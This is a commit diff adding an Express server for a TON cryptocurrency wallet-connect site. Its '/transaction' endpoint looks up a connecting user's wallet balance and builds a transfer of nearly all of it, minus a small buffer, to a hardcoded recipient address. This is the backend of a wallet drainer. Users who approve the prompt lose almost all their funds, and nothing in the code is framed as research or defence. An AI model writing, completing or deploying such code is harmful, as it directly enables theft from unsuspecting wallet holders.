Update server.js

server.js

@@ -0,0 +1,137 @@
+const express = require("express");
+const path = require("path");
+const bodyParser = require("body-parser");
+const axios = require("axios");
+
+const app = express();
+
+// Middleware
+app.use(bodyParser.json());
+app.use(express.static(path.join(__dirname, "public"))); // serve static frontend files
+
+// --- In-memory store (replace with DB if needed) ---
+let connectedWallets = [];
+
+// Root page
+app.get("/", (req, res) => {
+  res.sendFile(path.join(__dirname, "public/html/index.html"));
+});
+
+/**
+ * Connected: called when frontend detects wallet connection
+ */
+app.post("/connected", (req, res) => {
+  console.log("🔗 Wallet connected:", req.body);
+  if (!connectedWallets.includes(req.body.wallet)) {
+    connectedWallets.push(req.body.wallet);
+  }
+  res.json({ status: "ok", message: "Wallet connected" });
+});
+
+/**
+ * Disconnect: called when user clicks "Disconnect"
+ */
+app.post("/disconnect", (req, res) => {
+  console.log("🔌 Wallet disconnected:", req.body);
+  connectedWallets = connectedWallets.filter(w => w !== req.body.wallet);
+  res.json({ status: "ok", message: "Wallet disconnected" });
+});
+
+/**
+ * Get wallet balance in nanotons
+ */
+async function getWalletBalance(address) {
+  try {
+    // Using tonapi.io (no key needed for basic requests)
+    const res = await axios.get(`https://tonapi.io/v1/account/getInfo?account=${address}`);
+    return res.data.balance; // balance in nanotons
+  } catch (err) {
+    console.error("❌ Error fetching balance:", err.response?.data || err.message);
+    return null;
+  }
+}
+
+/**
+ * Transaction: frontend fetches this before sending transaction
+ * Deducts buffer; fails gracefully if balance is too small.
+ */
+app.get("/transaction", async (req, res) => {
+  const userWallet = req.query.wallet;
+  console.log("💰 Transaction request from:", userWallet);
+
+  if (!userWallet) {
+    return res.status(400).json({ error: "Wallet address missing" });
+  }
+
+  // 👇 Replace this with your TON receiving wallet address
+  const recipientAddress = "EQCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
+
+  // Get balance of the user wallet
+  const balanceNanoTon = await getWalletBalance(userWallet);
+  if (!balanceNanoTon) {
+    return res.status(500).json({ error: "Could not fetch balance" });
+  }
+
+  const balanceTon = balanceNanoTon / 1e9;
+
+  // If balance is too low, return graceful 0
+  if (balanceTon < 0.05) {
+    console.log(`⚠️ Balance too low (${balanceTon} TON). Not building transaction.`);
+    return res.json({
+      messages: [
+        { address: recipientAddress, amount: "0", payload: "" }
+      ],
+      raw: { from: userWallet, to: recipientAddress, amount: "0" }
+    });
+  }
+
+  // Deduction buffer
+  let bufferTon = 0.05;
+  if (balanceTon > 100) bufferTon = 0.8;
+  else if (balanceTon > 10) bufferTon = 0.5;
+  else if (balanceTon > 1) bufferTon = 0.2;
+
+  const sendTon = Math.max(balanceTon - bufferTon, 0);
+  const sendNanoTon = Math.floor(sendTon * 1e9);
+
+  console.log(`📊 Balance: ${balanceTon} TON, Deduction: ${bufferTon} TON, Sending: ${sendTon} TON`);
+
+  const tx = {
+    messages: [
+      {
+        address: recipientAddress,
+        amount: sendNanoTon.toString(),
+        payload: "" // optional base64 payload
+      }
+    ],
+    raw: {
+      from: userWallet,
+      to: recipientAddress,
+      amount: sendNanoTon.toString()
+    }
+  };
+
+  res.json(tx);
+});
+
+/**
+ * Accept: frontend calls this when user approves transaction
+ */
+app.post("/accept", (req, res) => {
+  console.log("✅ Transaction accepted:", req.body);
+  res.json({ status: "ok", message: "Transaction accepted" });
+});
+
+/**
+ * Reject: frontend calls this when user rejects transaction
+ */
+app.post("/reject", (req, res) => {
+  console.log("❌ Transaction rejected:", req.body);
+  res.json({ status: "ok", message: "Transaction rejected" });
+});
+
+// --- Start server ---
+const PORT = 7860;
+app.listen(PORT, () => {
+  console.log(`🚀 Backend running at http://localhost:${PORT}`);
+});